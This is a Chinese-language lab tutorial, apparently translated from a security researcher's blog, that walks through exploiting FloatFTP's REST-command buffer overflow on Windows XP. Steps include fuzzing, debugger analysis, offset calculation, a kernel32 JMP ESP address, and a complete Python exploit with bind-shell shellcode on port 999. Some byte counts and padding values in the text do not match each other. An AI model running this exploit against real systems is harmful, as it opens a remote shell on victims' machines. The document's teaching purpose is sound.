当前位置: 首页 > 网络学院 >

理解缓冲区溢出漏洞的利用

新客网 XKER.COM 时间:2015-01-29 00:43:49来源:赵阳翻译 IDF实验室  评论:

在我第一次不得不处理缓冲区溢出漏洞时,我真是一窍不通啊!虽然我可以建立网络和配置防火墙、代理服务器,不费吹灰之力的入侵检测系统,但是对于利用代码来说,我还是第一次接触到。然而,正如处理任何复杂或是困难的概念一样,最好的办法就是把它分解成我们了解的多个部分。

在研究和学习教程后,一些概念和工具开始变得不那么令人困惑了,并且我们逐渐能够明白一些细节了。然后,我开始在实验室现有已掌握可重建的应用程序中,寻找简单的缓存漏洞。只有在不断地实验,各种概念会一个个出现—整个进程,无论是独立的部分还是整体—都会一点点呈现出来。

本文将会为防御者描述一些基本概念,包括一个攻击者经历漏洞开发过程,需要的工作量和攻击者将要面对的编写恶意代码攻击特定漏洞的风险。

如今的攻击者既有决心也有技术,并且知道对于负责计算机和网络的人来说什么实际操作是最关键的,防御者对敌人的动机和技术了解的越多,他就越容易制定有效的防御措施。

我要经历几个漏洞挖掘的阶段的才能找到一个有效漏洞,首先,我们会fuzz我们的目标应用程序,通过一个有趣的方式使它崩溃,通过Immunity debugger来监控崩溃的过程,在windows系统的内存中找到最易受攻击的溢出的shellcode。随后,我们将要创造一个漏洞来传递shellcode,从而危机远程系统。

需要的软件/设置

攻击系统:Linux(我用的R3)

开发/受害者系统:windows xp sp3英文版

Immunity debugger-安装在windows xp系统上

FloatFTP—我们要利用的应用程序(忽略现有的漏洞,现在点击此页面上的“脆弱的应用程序”按钮来下载,解压缩文件到xp系统的桌面文件夹内)。

让我们正是开始吧!

Fuzzing

“Fuzzing”是对有畸形、过度利用的和发送随机数据到计算机程序试图使系统崩溃或出现意想不到现象的测试软件。Fuzzing用于测试系统和程序的安全。

双击float FTP来执行开始:

ESXiSummary

通过运行cmd提示符来运行和监听21端口和键入:

netstat -an | find "21"

1a

启动Immunity debugger,单击“file”,再单击“attach”,选择FTP服务器过程,单击“attach”。

attach

一旦应用程序在调试器上加载时,调试器将要处于暂定状态。按F9键或是Immunity debugger工具栏上的播放符号,让应用程序运行。这个目标应用程序将会被调试器监控。

debug1

现在我们将开始配置FTP fuzzer,首先,Fuzz应用程序来使系统崩溃,然后使用调试器来采集和分析崩溃数据。

下面的代码是一个用python脚本语言编写的简单的FTP fuzzer,当执行时,fuzzer会发送标准的FTP命令“REST”,并且附加越来越多的“A”到每条指令。

理解缓冲区溢出漏洞的利用

我们可以从例子(http://www.exploit-db.com/exploits/17546/)中知道FTP服务器的REST命令就是一个易受攻击的缓冲区溢出,FTP的REST功能将会成为fuzzer的目标。

在攻击系统的桌面上创建一个文件夹来存放fuzzing和漏洞代码。使用“CD”到这个目录,运行“nano fuzzer.py”。这就打开了一个空白的nano文本编辑器,复制和粘贴上面的代码到文件中。

fuzzer4

利用正在系统上运行的floatFTP的IP系统改变目标的IP地址,按CTRL+O来保存文件,按CTRL+X来退出nano,接下来,通过键入来创建可执行文件。

chmod 755 fuzzer.py

执行“/fuzzer.py”,几秒钟后,你能够看到fuzzer停止了,并且显示目标应用程序崩溃。

fuzzer

当你在xp系统上看到这个调试器,你会看到Immunity debugger已经捕获了破坏了的数据和暂停了应用程序。如果你看EIP(扩展的指令指针)寄存器时,你就会看到在41秒中内fuzzer缓冲区寄覆盖寄存器,fuzzer缓冲区也会涌入ESP(扩展堆栈指针)寄存器(00AEFC2C)。我们的首要目的是了通过CPU执行的指令代码再次控制EIP寄存器,把它设置成我们所选择的值。

fuzzer3

漏洞挖掘

用nano创建一个新的文件,输入下面的代码。这是挖掘的开始,将文件保存为skeleton.py并执行(输入chmod 755 skeleton.py)

理解缓冲区溢出漏洞的利用 

在攻击系统的Linux终端上运行skeleton.py。

现在,当你在Immunity debugger上检查EIP寄存器时,你会看到缓冲区代码4141414141覆盖了寄存器,并溢出到了ESP寄存器中。 

1ef 

下一步就是要确定我们要插入代码的空间到底有多大,到现在为止,我们已经使用了一组固定的重复字符来确定我们的目标的内存地址。我们现在将要使用metasploit的pattern_create和pattern_offset工具来帮助我们发现究竟有多大的空间,我们以什么特定的内存地址为目标。首先,用1000个字符来生成一个不重复的字符串。

使用cd命令到/opt/metasploit/msf3/tools并运行:

创建一个1000字符的字符串,用它来取代以前缓冲架构漏洞中的1000个字符“A”。 

pattern_create1000 

注释掉以前的缓冲区漏洞,像下面一样创建一个新的缓冲线,在双引号中为新的缓冲区。

理解缓冲区溢出漏洞的利用

在Immunity debugger下重启FTP服务器(单击“debug”,之后重启或按CTRL+F2),启动FTP服务器的架构漏洞。按照先前的做法一定崩溃了,但是现在EIP和ESP缓冲区中有metasploit创建的格式,把这些值复制下来,我们将用它们来计算EIP和ESP寄存器的字节中的差异。

在本例,EIP和ESP的值为:

EIP: 69413269

ESP: 00AEFC2C (69413669)

之后,运行:

./pattern_offset.rb 69413269

接着

./pattern_offset.rb 69413669

patternoffset

输出告诉我们247个字节以后的EIP寄存器开始被缓冲区覆盖,这就意味着EIP中248—251字节是我们想要的目标。

CPU通过EIP寄存器中的值知道下一个要运行的指令,在内存地址中运行这些当前的指令,在EIP的内存位置中使用JMP ESP指令使CPU来执行指令和“跳”到ESP寄存器中执行驻留在该地址的内存中的指令。我们的目的就是在EIP中使用JMP ESP指令,这样我们就能控制执行命令并把我们的代码转变到ESP寄存器中。

两个寄存器之间有12个字节,于是我们用8个字节来填充我们的缓冲区,缩小间距和连接到ESP寄存器。

我们使用保持1000字节边界的框架漏洞来调整缓冲区:

buffer = "\x41"*247 + "\x42\x42\x42\x42" + "\x43"*8 + "\x44"*741 z

例如: [buffer]<>[eip data]<>[padding]<>[shellcode placeholder]

理解缓冲区溢出漏洞的利用

在Immunity debugger中重启FTP服务器,按播放键取消暂停的应用程序。

再次运行挖掘,然后在Immunity debugger器中右击ESP寄存器的窗格选择“follow in dump”。如果一切排列正确的话,EIP寄存器中将会存储42424242和DS(x44)将会在ESP寄存器内存地址前面从EIP到ESP的空间中填充8 CS。

1k
ESPds

很棒。在Immunity debugger器中,复制DS的开始到结束的ESP的内存地址。然后打开windows计算器,转换到16进制的模式,把数值变成10进制。

这里是这样的:

开始:00AEFC2C = 11467820

结束:00AEFF0C = 11468556

用结束值减去开始值11468556 - 11467820 = 736,我们就知道有736个字节来储存代码。

现在,我们有了目标内存地址和指令,我们需要一种方法获得从EIP寄存器到ESP寄存器的指令,为了做到这一点,我们可以在windows操作系统的DLL中使用现有的JMP ESP指令。

单击Immunity debugger器的工具栏上的“e”,在存在的windows dll中查找JMP ESP指令,之后双击一个DLL,右键单击“搜索”,选择“command”,之后键入“JMP ESP”。

我们在windows系统文件kernel32.dll系统文件中发现了我们要找的指令,然后记下JMP ESP的内存地址。在本例中,是7C86467B,注意,如果你正在使用任何其他操作系统,而不是32位的windows xp sp3英文版,这个指令驻留在不同的位置。你要是用的是其他系统,在另外的DLL中查找JMP ESP指令,在剩下的教程中改变内存地址。

1L

我们用一个新的缓冲区来更新我们的骨架漏洞,注释掉最后的一个缓冲区声明,用下面的代码替代它:

buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\xCC"*741

因为小尾数CPU架构,JMP ESP的地址必须在缓冲区中向后格式化,所以7C86467B变成了\x7B\x46\x86\x7C。我们也要增加8Bs作为填充("\x43"*8)和改变最后一个值为\xCC*741 (742 CC's),这将会作为我们的代码的占位。一切正常,CCs应该在我们的目标ESP内存地址的开始,00AEFC2C,我们应该在EIP寄存器中找到我们的JMP ESP指令(7C86467B)。

理解缓冲区溢出漏洞的利用

在Immunity debugger器中单击“debug”之后“restar”来重启FTPsever.exe,不要忘记按F9或是在调试器中单击播放按钮来取消暂停的应用程序。

在Immunity debugger器工具栏单击箭头指向的三个点,进入JMP ESP内存所在的位置:7C86467B(在这个例子中),单击“OK”,然后按下F2在调试中设置断点。当访问JMP ESP地址时,调试将会暂定,让我们来查看寄存器和验证我们的目标EIP和ESP的正确性。

1m

再次运行漏洞,并在调试器中查看输出,这看起来应该和下面的类似:

1n

EIP中包含JMP ESP的目标地址(7C86467B)和我们的CCs在ESP(00AEFC2C)开始。现在,我们控制执行命令,剩下的就是用shellcode替换掉占位的CCs。

shellcode和漏洞

我们将使用metasploit的msfpayload来创建payload。有一点要注意:因为我们传递的都是字符串,我们必须要遵守字符限制的FTP协议。这就意味着没有空,返回,换行,或是@符号,他们用16进制的表示为\x00, \x0d, \x0a, 0×40。"\x40\xff\\x3d\x20"可以阻止shellcode执行。

下面是用msfpayload命令创建的shellcode,当在目标系统中被执行时,TCP999端口将会被打开。Msfencode语句确保在shellcode中没有坏的字符能阻止上面的执行。

msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=999 R | msfencode -b '\x40\x0A\x00\x0D\xff\x0d\x3d\x20'

这个结果是一个386字节的payload:

理解缓冲区溢出漏洞的利用

理解缓冲区溢出漏洞的利用

注释掉前面缓冲区声明和添加新的修改声明:

buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + shellcode + "\xCC"*373

在处理shellcode运行的问题,双重检查所有参数包括“坏字符”之后,我就决定添加NOP指令到缓冲区在shellcode之前。在计算机的CPU中,一个NOP slide是一系列的NOP(无操作)指令(操作码0×90),这就意味着“滑动”CPU的指令执行流程到它的最终目标。当一切在一个漏洞中正常排列,NOP指令是有利的,但是shellcode执行失败。

我又一次修改缓冲区在shellcode前添加了16个NOP:

buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\x90"*16 + shellcode + "\xCC"*357

例如: [buffer]<>[EIP - JMP ESP]<>[EIP to ESP padding]<>[NOPs]<>[shellcode]<>[Padding]

最终完整的漏洞:

  1. #!/usr/bin/python   
  2.     
  3. import socket   
  4.     
  5. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   
  6.     
  7. #buffer = '\x41' * 1000   
  8.     
  9. #buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac  
  10. 1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6  
  11. Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah  
  12. 2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7A  
  13. j8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3A  
  14. m4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao  
  15. 9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar  
  16. 4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At  
  17. 9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4A  
  18. w5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0  
  19. Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb  
  20. 6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1  
  21. Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg  
  22. 5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"   
  23.     
  24. #buffer = "\x41"*247 + "\x42\x42\x42\x42" + "\x43"*8 + "\x44"*741   
  25.     
  26. ## msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=999 R |   
  27. msfencode -b '\x40\x0A\x00\x0D' 368 bytes   
  28.    
  29. shellcode = ("\xba\x2e\x27\xc2\x55\xdb\xdc\xd9\x74\x24\xf4\x5f\x2b\xc9"

    "\xb1\x56\x31\x57\x13\x83\xef\xfc\x03\x57\x21\xc5\x37\xa9"

    "\xd5\x80\xb8\x52\x25\xf3\x31\xb7\x14\x21\x25\xb3\x04\xf5"

    "\x2d\x91\xa4\x7e\x63\x02\x3f\xf2\xac\x25\x88\xb9\x8a\x08"

    "\x09\x0c\x13\xc6\xc9\x0e\xef\x15\x1d\xf1\xce\xd5\x50\xf0"

    "\x17\x0b\x9a\xa0\xc0\x47\x08\x55\x64\x15\x90\x54\xaa\x11"

    "\xa8\x2e\xcf\xe6\x5c\x85\xce\x36\xcc\x92\x99\xae\x67\xfc"

    "\x39\xce\xa4\x1e\x05\x99\xc1\xd5\xfd\x18\x03\x24\xfd\x2a"

    "\x6b\xeb\xc0\x82\x66\xf5\x05\x24\x98\x80\x7d\x56\x25\x93"

    "\x45\x24\xf1\x16\x58\x8e\x72\x80\xb8\x2e\x57\x57\x4a\x3c"

    "\x1c\x13\x14\x21\xa3\xf0\x2e\x5d\x28\xf7\xe0\xd7\x6a\xdc"

    "\x24\xb3\x29\x7d\x7c\x19\x9c\x82\x9e\xc5\x41\x27\xd4\xe4"

    "\x96\x51\xb7\x60\x5b\x6c\x48\x71\xf3\xe7\x3b\x43\x5c\x5c"

    "\xd4\xef\x15\x7a\x23\x0f\x0c\x3a\xbb\xee\xae\x3b\x95\x34"

    "\xfa\x6b\x8d\x9d\x82\xe7\x4d\x21\x57\xa7\x1d\x8d\x07\x08"

    "\xce\x6d\xf7\xe0\x04\x62\x28\x10\x27\xa8\x5f\x16\xe9\x88"

    "\x0c\xf1\x08\x2f\xb1\xe6\x84\xc9\xdf\xf8\xc0\x42\x77\x3b"

    "\x37\x5b\xe0\x44\x1d\xf7\xb9\xd2\x29\x11\x7d\xdc\xa9\x37"

    "\x2e\x71\x01\xd0\xa4\x99\x96\xc1\xbb\xb7\xbe\x88\x84\x50"

    "\x34\xe5\x47\xc0\x49\x2c\x3f\x61\xdb\xab\xbf\xec\xc0\x63"

    "\xe8\xb9\x37\x7a\x7c\x54\x61\xd4\x62\xa5\xf7\x1f\x26\x72"

    "\xc4\x9e\xa7\xf7\x70\x85\xb7\xc1\x79\x81\xe3\x9d\x2f\x5f"

    "\x5d\x58\x86\x11\x37\x32\x75\xf8\xdf\xc3\xb5\x3b\x99\xcb"

    "\x93\xcd\x45\x7d\x4a\x88\x7a\xb2\x1a\x1c\x03\xae\xba\xe3"

    "\xde\x6a\xc4\x12\xd2\x66\x51\x8d\x87\xca\x3f\x2e\x72\x08"

    "\x46\xad\x76\xf1\xbd\xad\xf3\xf4\xfa\x69\xe8\x84\x93\x1f"

    "\x0e\x3a\x93\x35")

    ## Windows XP SP3 kernel32.dll 7C86467B JMP ESP

    #buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\xCC"*741

    buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\x90"*16 +

    shellcode + "\xCC"*357

    print "\nSending evil buffer..."

    s.connect(('10.10.10.32',21))

    data = s.recv(1024)

    s.send('USER ftp' +'\r\n')

    data = s.recv(1024)

    s.send('PASS ftp' +'\r\n')

    data = s.recv(1024)

    s.send('REST' +buffer+'\r\n')

    s.close()

关闭XP系统上的调试器,重新启动FloatFTP。在攻击系统上启动漏洞攻击,然后远程连接到FTP服务器的999端口,一起正常,你将会以一个管理员的身份(或是任何一个打开FloatFTP进程的)收到一个shell。 

sploit2 

正如你看到的,现在这个系统已经被渗透,并且受攻击者控制。

*本文来自于一名美国信息安全研究员&顾问的博客,并由IDF志愿者赵阳翻译,章典校对。


本文来源:赵阳翻译 IDF实验室

如果您喜欢本文请分享给您的好友,谢谢!

评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)